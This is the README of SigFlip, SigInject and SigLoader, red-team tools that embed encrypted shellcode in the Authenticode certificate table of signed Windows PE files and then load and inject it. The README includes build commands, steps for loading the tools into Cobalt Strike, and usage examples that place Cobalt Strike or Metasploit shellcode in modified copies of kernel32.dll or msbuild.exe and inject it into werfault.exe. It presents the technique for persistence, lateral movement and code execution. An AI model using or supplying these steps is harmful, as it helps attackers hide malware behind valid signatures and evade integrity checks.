SigFlip is a tool for patching authenticode signed PE files (exe, dll, sys ..etc) in a way that doesn't affect or break the existing authenticode signature, in other words you can change PE file checksum/hash by embedding data (i.e shellcode) without breaking the file signature, integrity checks or PE file functionality.
SigInject encrypts and injects shellcode into a PE file's [WIN_CERTIFICATE] certificate table, the encryption key is printed out for usage with a basic BOF/C/C# loader (SigLoader), SigInject saves changes to a modified PE file and keeps its signature and certificate validity intact.
SigLoader is a basic loader which takes a modified PE file path created by SigInject and the decryption key as parameters, then extract and decrypt embedded shellcode for usage with a shellcode injection of choice.
SigFlip will check if PE hash was successfully changed and also check and exit gracefully in case endpoints are hardened against such common misconfiguration. (check "Details" section).
Quick Note: SigFlip, SigInject and SigLoader are available as BOF scripts and .NET assemblies, the only difference is that SigInject functionality is implemented as part of SigFlip (-i) in case if you choose to use .NET artifacts instead of BOFs.
It can be used mainly for persistence, lateral movement or code/command execution and can help with:
Precompiled BOF's are not provided in this project, can be compiled using Mingw-w64, for .NET use VS or csc.exe to compile .NET projects (SigFlip, SigLoader), for BOF check steps below;
➜ i686-w64-mingw32-gcc -c sigflip.c -o sigflip.x86.o
➜ x86_64-w64-mingw32-gcc -c sigflip.c -o sigflip.x64.o
➜ x86_64-w64-mingw32-gcc -c SigLoader/sigloader.c -o sigloader.x64.o
➜ i686-w64-mingw32-gcc -c SigLoader/sigloader.c -o sigloader.x86.o
Make sure all object files are located in the same directory as sigflip.cna, then load sigflip.cna script to cobalt strike.
Quick Note: pre-compiled BOFs were tested and compatible with mingw-64 v8.0.0_3, using mingw-64 >= v9 might work but might crash active beacons, check https://github.com/med0x2e/SigFlip/issues/2 for more details.
execute-assembly SigFlip.exe -h
execute-assembly SigLoader -h
SigFlip: Change a PE file (DLL, EXE, SYS, OCX ..etc) hash without breaking the signature or the validity of the certificate:
SigFlip "<PE\_FILE\_PATH>" "<OUTPUT\_PE\_FILE\_PATH (with extension)>"
SigInject: Encrypts and Injects shellcode into a PE file's [WIN_CERTIFICATE] certificate table, encryption key is printed out for usage with a basic C/C# loader plus keeps the signature and certificate validity intact:
SigInject "<PE\_FILE\_PATH> <OUTPUT\_PE\_FILE\_PATH (with extension)>" "<SHELLCODE\_FILE>"
SigLoader: Loads encrypted shellcode from PE files created by SigInject, then use Early Bird queueuserapc to spawn/inject sc into a sacrificial process, shellcode injection logic can be customized or replaced with any other code injection technique of choice:
SigLoader <PE_FILE_PATH_WITH_SH> <DECRYPTION_KEY> <SPAWNTO_PROCESS_PATH> <PARENT_PROCESS_ID>
SigFlip "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" "C:\lolbins\modified-msbuild.exe"
SigInject "C:\Windows\System32\kernel32.dll" "C:\random\modified-kernel32.dll" "C:\shellcode\cobaltstrike_or_msf_shellcode.bin"
Sigloader "C:\random\modified-kernel32.dll" "DECRYPTION_KEY" "C:\Windows\System32\werfault.exe" 6300
execute-assembly SigFlip.exe -b C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe -o C:\Temp\MSBuild.exe
execute-assembly SigFlip.exe -i C:\Windows\System32\kernel32.dll -s C:\Temp\x86shellcode.bin -o C:\Temp\kernel32.dll -e TestSecretKey
execute-assembly SigLoader.exe -f C:\Temp\modified-kernel32.dll -e TestSecretKey -pid 2354
This is a known technique used by APT#10 in multiple campaigns or intrusion sets.
Authenticode is a Microsoft code-signing technology that identifies the publisher of Authenticode-signed software. Authenticode also verifies that the software has not been tampered with since it was signed and published.
Microsoft relies mainly on Authenticode signing format for verifying the integrity and the origin of PE binaries, according to the Authenticode Portable Executable format specification the Authenticode signatures can be “embedded” in a Windows PE file, in a location specified by the Certificate Table entry in Optional Header Data Directories. When Authenticode is used to sign a Windows PE file, the algorithm that calculates the file’s Authenticode hash value excludes certain PE fields. When embedding the signature in the file, the signing process can modify these fields without affecting the file’s hash value. These fields are as follows: **the checksum, certificate table RVA, certificate table size and the attribute certificate table. The attribute certificate table contains a PKCS #7 SignedData structure containing the PE file’s hash value, a signature created by the software publisher’s private key, and the X.509 v3 certificates that bind the software publisher’s signing key to a legal entity.
In layman's terms, we can modify or embed data into fields execulded from the authenticode hash calculation without worrying about breaking the authenticode signature and file integrity checks.
More details about such excluded fields:
Certificate table RVA and Size: A signed PE file optional header structure contains an array of data directories including the security directory IMAGE_DIRECTORY_ENTRY_SECURITY entry which has two fields, RVA and Size.
Attribute Certificate Table: a data structure WIN_CERTIFICATE which encapsulate the signature and certificates and has the following fields:
dwLength: certificate table size.
wRevision: the “revision” of the
wCertificateType: the kind of encapsulated certificate data.
bCertificate: the actual certificate data. For
WIN_CERT_TYPE_PKCS_SIGNED_DATA, this is the PKCS#7
SignedDatastructure mentionned above (which contains the PE hash value, signature and x.509 certificate), this is exactly where SigFlip embed randm random data or shellcode.
With all of that in mind, now SifFlip does the following:
The first step is essential to confirm if the system is misconfigured in a way to allow padding and injecting shellcode into authenticode signed PE files, therefore the following sanity checks are performed:
Windows loader doesn't load certificate data into the process address space, reason why you need a custom loader to extract data such as shellcode and use it (ex: SigLoader). this should also explain why IMAGE_DIRECTORY_ENTRY_SECURITY data directory entry RVA is a file offset instead of a typical memory offset.